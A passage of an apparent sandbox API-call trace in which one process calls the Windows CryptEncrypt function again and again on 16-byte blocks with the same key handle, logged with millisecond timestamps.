pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.758] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.759] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.760] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.761] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0155.762] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, 